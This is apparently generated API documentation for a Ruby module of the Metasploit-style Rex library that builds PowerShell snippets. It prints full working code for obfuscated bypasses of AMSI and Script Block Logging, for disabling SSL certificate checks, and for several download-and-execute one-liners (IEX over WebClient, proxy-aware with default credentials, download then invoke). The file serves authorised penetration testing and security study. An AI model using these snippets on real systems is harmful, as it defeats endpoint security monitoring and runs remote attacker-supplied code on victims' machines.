Module: Rex::Powershell::PshMethods

Defined in:
lib/rex/powershell/psh_methods.rb

Overview

Convenience methods for generating Powershell code in Ruby

Class Method Summary collapse

Class Method Details

.bypass_amsi ⇒ String

Return mattifestation's AMSI bypass

Returns:

  • (String) —

    PowerShell code to bypass AMSI



92
93
94
95
96
97
 
# File 'lib/rex/powershell/psh_methods.rb', line 92

def self.bypass_amsi()
  %q{
    $Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
    $Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
  }
end

.bypass_powershell_protections ⇒ String

Return all bypasses checking if PowerShell version > 3

Returns:

  • (String) —

    PowerShell code to disable PowerShell Built-In Protections



126
127
128
129
130
131
132
133
 
# File 'lib/rex/powershell/psh_methods.rb', line 126

def self.bypass_powershell_protections()
  %Q{
    If($PSVersionTable.PSVersion.Major -ge 3){
      #{self.bypass_script_log}
      #{self.bypass_amsi}
    }
  }
end

.bypass_script_log ⇒ String

Return cobbr's Script Block Logging bypass

Returns:

  • (String) —

    PowerShell code to bypass Script Block Logging



103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
 
# File 'lib/rex/powershell/psh_methods.rb', line 103

def self.bypass_script_log()
  %q{
    $GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
    If($GPF){
        $GPC=$GPF.GetValue($null);
        If($GPC['ScriptB'+'lockLogging']){
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
        }
        $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
        $val.Add('EnableScriptB'+'lockLogging',0);
        $val.Add('EnableScriptB'+'lockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
    } Else {
        [ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
    }
  }
end

.download(src, target) ⇒ String

Download file via .NET WebClient

Parameters:

  • src (String) —

    URL to the file

  • target (String) —

    Location to save the file

Returns:

  • (String) —

    Powershell code to download a file



17
18
19
20
 
# File 'lib/rex/powershell/psh_methods.rb', line 17

def self.download(src, target)
  target ||= '$pwd\\' << src.split('/').last
  %Q^(new-object System.Net.WebClient).DownloadFile('#{src}', '#{target}')^
end

.download_and_exec_string(url, iex = true) ⇒ String

Download and execute string via HTTP

Parameters:

  • url (String) —

    string to download

  • iex (Boolean) (defaults to: true) —

    utilize invoke-expression to execute code

Returns:

  • (String) —

    PowerShell code to download and exec the url



142
143
144
145
146
147
148
 
# File 'lib/rex/powershell/psh_methods.rb', line 142

def self.download_and_exec_string(url, iex = true)
  if iex
    %Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'))^
  else
    %Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')))^
  end
end

.download_run(src, target) ⇒ String

Download file via .NET WebClient and execute it afterwards

Parameters:

  • src (String) —

    URL to the file

  • target (String) —

    Location to save the file

Returns:

  • (String) —

    Powershell code to download a file



29
30
31
32
 
# File 'lib/rex/powershell/psh_methods.rb', line 29

def self.download_run(src, target)
  target ||= '$pwd\\' << src.split('/').last
  %Q^$z="#{target}"; (new-object System.Net.WebClient).DownloadFile('#{src}', $z); invoke-item $z^
end

.get_last_login(user) ⇒ String

Return last time of login

Parameters:

  • user (String) —

    Username

Returns:

  • (String) —

    Powershell code to return the last time of a user login



75
76
77
 
# File 'lib/rex/powershell/psh_methods.rb', line 75

def self.(user)
  %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end

.ignore_ssl_certificate ⇒ String

Disable SSL Certificate verification

Returns:

  • (String) —

    Powershell code to disable SSL verification checks.



84
85
86
 
# File 'lib/rex/powershell/psh_methods.rb', line 84

def self.ignore_ssl_certificate
  '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
end

.proxy_aware_download_and_exec_string(url, iex = true) ⇒ String

Use the default system web proxy and credentials to download a URL as a string and execute the contents as PowerShell

Parameters:

  • url (String) —

    string to download

  • iex (Boolean) (defaults to: true) —

    utilize invoke-expression to execute code

Returns:

  • (String) —

    PowerShell code to download a URL



158
159
160
161
162
163
164
165
166
167
168
169
 
# File 'lib/rex/powershell/psh_methods.rb', line 158

def self.proxy_aware_download_and_exec_string(url, iex = true)
  var = Rex::Text.rand_text_alpha(1)
  cmd = "$#{var}=new-object net.webclient;"
  cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
  cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
  if iex
    cmd << "IEX $#{var}.downloadstring('#{url}');"
  else
    cmd << "&([scriptblock]::create($#{var}.downloadstring('#{url}'));"
  end
  cmd
end

.secure_string(str) ⇒ String

Create secure string from plaintext

Parameters:

  • str (String) —

    String to create as a SecureString

Returns:

  • (String) —

    Powershell code to create a SecureString



53
54
55
 
# File 'lib/rex/powershell/psh_methods.rb', line 53

def self.secure_string(str)
  %Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
end

.uninstall(app, fuzzy = true) ⇒ String

Uninstall app, or anything named like app

Parameters:

  • app (String) —

    Name of application

  • fuzzy (Boolean) (defaults to: true) —

    Whether to apply a fuzzy match (-like) to the application name

Returns:

  • (String) —

    Powershell code to uninstall an application



42
43
44
45
 
# File 'lib/rex/powershell/psh_methods.rb', line 42

def self.uninstall(app, fuzzy = true)
  match = fuzzy ? '-like' : '-eq'
  %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end

.who_locked_file(filename) ⇒ String

Find PID of file lock owner

Parameters:

  • filename (String) —

    Filename

Returns:

  • (String) —

    Powershell code to identify the PID of a file lock owner



64
65
66
 
# File 'lib/rex/powershell/psh_methods.rb', line 64

def self.who_locked_file(filename)
  %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end